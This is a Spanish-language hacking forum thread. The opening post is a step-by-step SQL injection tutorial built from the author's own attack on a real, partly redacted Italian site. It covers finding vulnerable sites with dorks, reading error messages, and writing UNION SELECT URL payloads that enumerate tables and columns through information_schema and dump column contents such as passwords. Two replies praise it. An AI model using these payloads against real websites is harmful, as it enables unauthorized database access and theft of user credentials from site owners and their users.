elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  mi primer SQLi, tutorial de una experiencia.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: mi primer SQLi, tutorial de una experiencia.  (Leído 3,539 veces)
ruben_linux

Desconectado Desconectado

Mensajes: 138



Ver Perfil WWW
mi primer SQLi, tutorial de una experiencia.
« en: 23 Agosto 2011, 01:00 am »

Buenas a todos. Este es mi primer pos en este foro despues de la presentacion. Como anillo al dedo me viene, pues este tuto me lo he currado en un dia, mientras hacia SQLi, para no perder detalle.

Empezamos.

1. buscar una web vulnerable, a esta parte no le dedico tiempo, todos conocemos los DORKs, packetstorm, vbulletin.....


2. Como se que esta web es vulnerable??? Facil, la mayoria de las web te devolveran, cuando les modiques la peticion a algo como esto:

Citar
Warning: mysql_query() [function.mysql-query]: Access denied for user '*******'@'localhost' (using password: NO) in /home/justonli/public_html/demo_online_store/themes/2/func_util.php on line 3

Warning: mysql_query() [function.mysql-query]: A link to the server could not be established in /home/********/public_html/demo_online_store/themes/2/func_util.php on line 3

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/*********/public_html/demo_online_store/themes/2/func_util.php on line 4

Warning: mysql_query() [function.mysql-query]: Access denied for user '***********'@'localhost' (using password: NO) in /home/*********/public_html/demo_online_store/themes/2/index.php on line 39

Warning: mysql_query() [function.mysql-query]: A link to the server could not be established in /home/********/public_html/demo_online_store/themes/2/index.php on line 39

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/*********/public_html/demo_online_store/themes/2/index.php on line 40

En mi caso usé otro DORK. Que como se modifica una peticion?? Pues en la barra de direccion, donde esta la URL, algunas webs ponen algo como:

Código:
index.php?id=1
search.php?ID=25

Si nosotros cambiamos en la barra de direccion el 1 o el 25 por algo como -1, ', '2, etc, la web que no esta preparada para recibir estos datos nos devuelve un error como los de arriva. En mi caso le añadi "+and+1=0" (sin comillas).

Ya sabemos cuando es vulnerable.

3. Como aprobecho esa Vulnerabilidad??? pues hay varias formas, yo explicaare la que use.
Tenemos que encontrar el numero de "Union Columns" que con mi poco ingles supongo que sera "uninon de columnas" :-) esto es el numero de comunlas del la tabla que tiene la base de datos, para entender esto: en la base de datos <deportes> tenemos la tabla <acuaticos> y dentro de esta columna <surf>, que contiene srfing, bodyboard, sky_surfing,... pues en las web que almacenan bd sulen tener algo como <db_usuarios> y dentro la tabal <user> y una columna con el nombre <pass>. Dentro de una bd tendremos muchas tablas y dentro de estas cada una tendrá varias columnas.

En mi caso son 25, para averiguar esto:

Código:
http://victima.es/main.php?id=-1
http://victima.es/main.php?id=-1+union+select+1,2--
http://victima.es/main.php?id=-1+union+select+1,2,3--
http://victima.es/main.php?id=-1+union+select+1,2,3,4--
http://victima.es/main.php?id=-1+union+select+1,2,3,4,5......etc

Vamos añadiendo numeros hasta que nos de el resultado de la img.


By rubenlinux at 2011-08-22

Código:
http://****.it/web1/**********&macrocategoria_cliccata=1004+and+1=0+%20Union%20Select%20%201%20,2%20,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--

y nos muestra unos numeros en la pantalla, en lugar de la web.

En mi caso muestra un "2".

Esta es la posicion donde tenemos que meter las peticiones SQL. Tendremos que sustituir el numero, por la peticion.

Ahora queremos saber el nombre de las tablas. Para esto añadimos en la posicion del numero "2" esto "group_concat%28table_name%29%" y al final de la url "from+information_schema.tables" esto traducido seria algo como: dame el nombre de todas la tablas que tienes en information.schema


By rubenlinux at 2011-08-22

Código:
http://******.it/web1/master.php**********&macrocategoria=1004&macrocategoria_cliccata=1004+and+1=0+%20Union%20Select%20%201%20,group_concat%28table_name%29%20,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+information_schema.tables

Ya tenenos las tablas, en mi caso estan en Italiano, nos interesa conocer el numero de columnas dentro de la tabla por la cual tenemos curiosidad, para esto cambiamos lo que escribimos antes en el lugar del "2" por "group_concat%28column_name%29%" esta vez preguntamos por las columnas de una tabla, tambien cambiamos el final por "+from+information_schema.columns+where+table_name=%20char%2895,117,116,101,110,116,105%29".

Donde el número "95,117,116,101,110,116,105" es el nombre de la tabla,pero con los caracteres ascii. En internet teneis un monton cuadros y programillas para pasarlo.


By rubenlinux at 2011-08-22

Ya casi terminamos, lo que ahora queremos es saber que tenemos en cada columna, la pregunta seria algo como: que hay dentro de la columna pass dentro de la tabla usuarios dentro de la bd_principal? mas o menos. En este caso tenemos que hacer una nueva peticion con: "concat_ws%28char%2858%29,NOMBRE_DE_LA_COLUMNA%29" en el lugar del numero "2" y al final "+from+NOMBRE_DE_LA_TABLA"

Código:
http://*****.it/web1/***********&macrocategoria=1004&macrocategoria_cliccata=1004+and+1=0+%20Union%20Select%20%201%20,concat_ws%28char%2858%29,NOMBRE_DE_LA_COLUMNA%29%20,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+NOMBRE_DE_LA_TABLA
En línea

.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
Re: mi primer SQLi, tutorial de una experiencia.
« Respuesta #1 en: 29 Agosto 2011, 22:52 pm »

Buen tutorial :D
En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
Cleantesdeasso

Desconectado Desconectado

Mensajes: 185



Ver Perfil
Re: mi primer SQLi, tutorial de una experiencia.
« Respuesta #2 en: 29 Agosto 2011, 23:45 pm »

Buena!! no sabia q podias usar un AND antes de UNION... pero tampoco se q son los muones con exactitud entre tantas otras cosas... Gracias por compartir! :)
En línea

"Que no!! q el hash hay q crakiarlo!!"
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Video Tutorial] Que opinan de mi primer videotutorial?
Diseño Gráfico
coolfrog 6 2,774 Último mensaje 27 Septiembre 2007, 16:14 pm
por Azielito
Primer Cheat solitario Delphi 2010 tutorial :)
Dudas Generales
Weeken 3 2,140 Último mensaje 30 Diciembre 2012, 17:17 pm
por Ori-chan
Mi primer tutorial en Youtube « 1 2 3 »
Foro Libre
Xhash 20 6,118 Último mensaje 10 Agosto 2013, 22:20 pm
por Trane!
Mi primer Tutorial: Desempacando a mano UPX 3.91w (for newbies)
Ingeniería Inversa
Mad Antrax 7 4,071 Último mensaje 13 Octubre 2013, 04:17 am
por Amerikano|Cls
Tutorial Mi Primer Programa En C#
Programación C/C++
hacker250 0 948 Último mensaje 26 Agosto 2016, 06:45 am
por hacker250
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines